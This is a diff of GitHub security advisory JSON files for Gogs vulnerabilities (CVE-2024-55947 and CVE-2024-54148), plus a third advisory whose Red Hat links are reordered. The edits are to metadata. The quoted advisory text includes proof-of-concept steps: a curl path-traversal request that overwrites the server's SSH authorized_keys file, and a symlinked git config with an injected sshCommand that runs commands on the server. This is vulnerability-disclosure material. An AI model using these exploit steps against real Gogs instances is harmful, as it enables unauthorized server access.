diff --git a/advisories/github-reviewed/2024/12/GHSA-qf5v-rp47-55gg/GHSA-qf5v-rp47-55gg.json b/advisories/github-reviewed/2024/12/GHSA-qf5v-rp47-55gg/GHSA-qf5v-rp47-55gg.json index 6f0513fbffe..0bfe7f2a626 100644 --- a/advisories/github-reviewed/2024/12/GHSA-qf5v-rp47-55gg/GHSA-qf5v-rp47-55gg.json +++ b/advisories/github-reviewed/2024/12/GHSA-qf5v-rp47-55gg/GHSA-qf5v-rp47-55gg.json @@ -1,14 +1,18 @@ { "schema_version": "1.4.0", "id": "GHSA-qf5v-rp47-55gg", - "modified": "2024-12-23T20:54:48Z", + "modified": "2025-04-10T22:56:52Z", "published": "2024-12-23T17:53:16Z", "aliases": [ "CVE-2024-55947" ], "summary": "Path Traversal in file update API in gogs", - "details": "### Impact\n\nThe malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. \n\n### Patches\n\nWriting files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Generate a Personal Access Tokens\n2. Edit any file on the server with this\n\n ```bash\n curl -v --path-as-is -X PUT --url \"http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys\" \\\n -H \"Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf\" \\\n -H \"Content-Type: application/json\" \\\n --data '{\n \"message\": \"an\",\n \"content\": \"\"\n }'\n ```\n\n3. ssh connect to remote server\n\n ```bash\n ssh -i temp git@localhost -p 10022\n ```\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.\n", + "details": "### Impact\n\nThe malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. \n\n### Patches\n\nWriting files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Generate a Personal Access Tokens\n2. Edit any file on the server with this\n\n ```bash\n curl -v --path-as-is -X PUT --url \"http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys\" \\\n -H \"Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf\" \\\n -H \"Content-Type: application/json\" \\\n --data '{\n \"message\": \"an\",\n \"content\": \"\"\n }'\n ```\n\n3. ssh connect to remote server\n\n ```bash\n ssh -i temp git@localhost -p 10022\n ```\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.", "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" + }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" diff --git a/advisories/github-reviewed/2024/12/GHSA-r7j8-5h9c-f6fx/GHSA-r7j8-5h9c-f6fx.json b/advisories/github-reviewed/2024/12/GHSA-r7j8-5h9c-f6fx/GHSA-r7j8-5h9c-f6fx.json index eaa04a6f403..21b798c6fcf 100644 --- a/advisories/github-reviewed/2024/12/GHSA-r7j8-5h9c-f6fx/GHSA-r7j8-5h9c-f6fx.json +++ b/advisories/github-reviewed/2024/12/GHSA-r7j8-5h9c-f6fx/GHSA-r7j8-5h9c-f6fx.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-r7j8-5h9c-f6fx", - "modified": "2024-12-26T20:09:15Z", + "modified": "2025-04-10T22:56:15Z", "published": "2024-12-23T17:53:01Z", "aliases": [ "CVE-2024-54148" ], "summary": "Remote Command Execution in file editing in gogs", - "details": "### Impact\n\nThe malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. \n\n### Patches\n\nEditing symlink while changing the file name has been prohibited via the repository web editor (https://github.com/gogs/gogs/pull/7857). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Create two repositories, upload something to the first repository, edit any file, and save it on the webpage.\n2. In the second repository, create a symbolic link to the file you need to edit:\n ```bash\n $ ln -s /data/gogs/data/tmp/local-repo/1/.git/config test\n $ ls -la\n total 8\n drwxr-xr-x   5 dd  staff  160 Oct 27 19:09 .\n drwxr-xr-x   4 dd  staff  128 Oct 27 19:06 ..\n drwxr-xr-x  12 dd  staff  384 Oct 27 19:09 .git\n -rw-r--r--   1 dd  staff   12 Oct 27 19:06 README.md\n lrwxr-xr-x   1 dd  staff   44 Oct 27 19:09 test -> /data/gogs/data/tmp/local-repo/1/.git/config\n $ git add .\n $ git commit -m 'ddd'\n $ git push -f\n ```\n\n3. Go back to the webpage, edit the symbolic file in the second repository, with the following content, change the filename, and save (here you can notice, with filename changed the symbolic file edit limit is bypassed)\n ```\n [core]\n repositoryformatversion = 0\n filemode = true\n bare = false\n logallrefupdates = true\n ignorecase = true\n precomposeunicode = true\n sshCommand = echo pwnned > /tmp/poc\n [remote \"origin\"]\n url = [git@github.com](mailto:git@github.com):torvalds/linux.git\n fetch = +refs/heads/*:refs/remotes/origin/*\n [branch \"master\"]\n remote = origin\n merge = refs/heads/master\n ```\n\n4. Go back to the first repo, edit something, and commit again, you can notice a file called `/tmp/poc` created on the server.\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.\n", + "details": "### Impact\n\nThe malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. \n\n### Patches\n\nEditing symlink while changing the file name has been prohibited via the repository web editor (https://github.com/gogs/gogs/pull/7857). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Create two repositories, upload something to the first repository, edit any file, and save it on the webpage.\n2. In the second repository, create a symbolic link to the file you need to edit:\n ```bash\n $ ln -s /data/gogs/data/tmp/local-repo/1/.git/config test\n $ ls -la\n total 8\n drwxr-xr-x   5 dd  staff  160 Oct 27 19:09 .\n drwxr-xr-x   4 dd  staff  128 Oct 27 19:06 ..\n drwxr-xr-x  12 dd  staff  384 Oct 27 19:09 .git\n -rw-r--r--   1 dd  staff   12 Oct 27 19:06 README.md\n lrwxr-xr-x   1 dd  staff   44 Oct 27 19:09 test -> /data/gogs/data/tmp/local-repo/1/.git/config\n $ git add .\n $ git commit -m 'ddd'\n $ git push -f\n ```\n\n3. Go back to the webpage, edit the symbolic file in the second repository, with the following content, change the filename, and save (here you can notice, with filename changed the symbolic file edit limit is bypassed)\n ```\n [core]\n repositoryformatversion = 0\n filemode = true\n bare = false\n logallrefupdates = true\n ignorecase = true\n precomposeunicode = true\n sshCommand = echo pwnned > /tmp/poc\n [remote \"origin\"]\n url = [git@github.com](mailto:git@github.com):torvalds/linux.git\n fetch = +refs/heads/*:refs/remotes/origin/*\n [branch \"master\"]\n remote = origin\n merge = refs/heads/master\n ```\n\n4. Go back to the first repo, edit something, and commit again, you can notice a file called `/tmp/poc` created on the server.\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2025/01/GHSA-5vpc-35f4-r8w6/GHSA-5vpc-35f4-r8w6.json b/advisories/github-reviewed/2025/01/GHSA-5vpc-35f4-r8w6/GHSA-5vpc-35f4-r8w6.json index f439dd2c038..58e99b84204 100644 --- a/advisories/github-reviewed/2025/01/GHSA-5vpc-35f4-r8w6/GHSA-5vpc-35f4-r8w6.json +++ b/advisories/github-reviewed/2025/01/GHSA-5vpc-35f4-r8w6/GHSA-5vpc-35f4-r8w6.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-5vpc-35f4-r8w6", - "modified": "2025-03-20T19:33:00Z", + "modified": "2025-04-10T22:58:09Z", "published": "2025-01-21T21:22:49Z", "aliases": [ "CVE-2024-11218" @@ -103,7 +103,7 @@ }, { "type": "WEB", - "url": "https://access.redhat.com/errata/RHSA-2025:1910" + "url": "https://access.redhat.com/errata/RHSA-2025:0830" }, { "type": "WEB", @@ -141,6 +141,10 @@ "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2025:2712" }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2025:3577" + }, { "type": "WEB", "url": "https://access.redhat.com/security/cve/CVE-2024-11218" @@ -161,10 +165,6 @@ "type": "WEB", "url": "https://issues.redhat.com/browse/RHEL-67618" }, - { - "type": "WEB", - "url": "https://access.redhat.com/errata/RHSA-2025:0830" - }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2025:0878" @@ -228,6 +228,10 @@ { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2025:1908" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2025:1910" } ], "database_specific": {